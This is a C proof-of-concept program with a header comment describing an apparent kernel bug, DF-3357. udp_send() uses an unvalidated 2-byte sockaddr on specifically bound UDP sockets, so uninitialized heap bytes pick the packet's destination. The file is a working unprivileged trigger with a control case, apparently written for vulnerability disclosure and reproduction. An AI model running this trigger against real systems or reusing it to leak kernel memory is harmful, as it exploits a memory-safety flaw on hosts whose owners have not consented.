/*
 * DF-3357 — udp_send() uses an unvalidated user sockaddr as sockaddr_in
 *          (read-before-validate; validation is skipped for sockets bound
 *          to a specific address).
 *
 * Trigger:  sendto() with tolen=2 (sockaddr = {sa_len=2, sa_family=AF_INET},
 *           NO address, NO port) on a UDP socket bound to a specific local
 *           address.  udp_send() reads sin_addr/sin_port (bytes 2..8) from
 *           the 2-byte kmalloc'd M_SONAME chunk — i.e., from uninitialized/
 *           recycled kernel heap — and emits a UDP packet whose destination
 *           address and port are those stale bytes.
 *
 * Control:  the same sendto() on a wildcard-bound socket produces no packet
 *           (in_pcbladdr_find() runs and rejects sa_len != 16).
 *
 * Observable: tcpdump on the egress interface.  On the test guest the
 *           recycled chunk contained 0xFF filler, so the packets went to
 *           255.255.255.255:65535 — an address:port the caller never sent.
 *
 * Unprivileged (no privileges required).  Build: cc -O -o poc udp_short_sockaddr.c
 */
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <errno.h>

static int
udp_sock(struct in_addr *bindaddr /* NULL = wildcard */)
{
	struct sockaddr_in b;
	int s = socket(AF_INET, SOCK_DGRAM, 0);
	if (s < 0) { perror("socket"); exit(1); }
	memset(&b, 0, sizeof(b));
	b.sin_family = AF_INET;
	b.sin_len = sizeof(b);
	if (bindaddr)
		b.sin_addr = *bindaddr;
	if (bind(s, (struct sockaddr *)&b, sizeof(b)) < 0) {
		perror("bind"); exit(1);
	}
	return (s);
}

int
main(int argc, char **argv)
{
	struct in_addr spec;
	char tiny[2];
	int A, i, n;

	/* optional specific bind address, default 127.0.0.1; pass "w" for
	 * the wildcard control */
	if (argc > 1 && strcmp(argv[1], "w") == 0) {
		A = udp_sock(NULL);
		printf("control: wildcard-bound socket (validation runs)\n");
	} else {
		if (argc > 1) {
			if (inet_pton(AF_INET, argv[1], &spec) != 1) {
				fprintf(stderr, "bad addr\n"); return 1;
			}
		} else {
			spec.s_addr = htonl(INADDR_LOOPBACK);
		}
		A = udp_sock(&spec);
		printf("trigger: specifically-bound socket (validation SKIPPED)\n");
	}

	/* the entire sockaddr supplied by the user: 2 bytes */
	tiny[0] = 2;		/* sa_len */
	tiny[1] = AF_INET;	/* sa_family */
	/* NOTE: no sin_port, no sin_addr — nothing else is passed to the kernel */

	for (i = 0; i < 50; i++)
		n = sendto(A, "Z", 1, 0, (struct sockaddr *)tiny, 2);
	printf("50 sendto() calls with a 2-byte sockaddr returned rc=%d\n", n);
	printf("check: netstat -s -p udp | grep output  (+50 expected)\n");
	printf("check: tcpdump on the egress interface shows the packets\n");
	printf("      with a destination NOT supplied by this process\n");
	return 0;
}
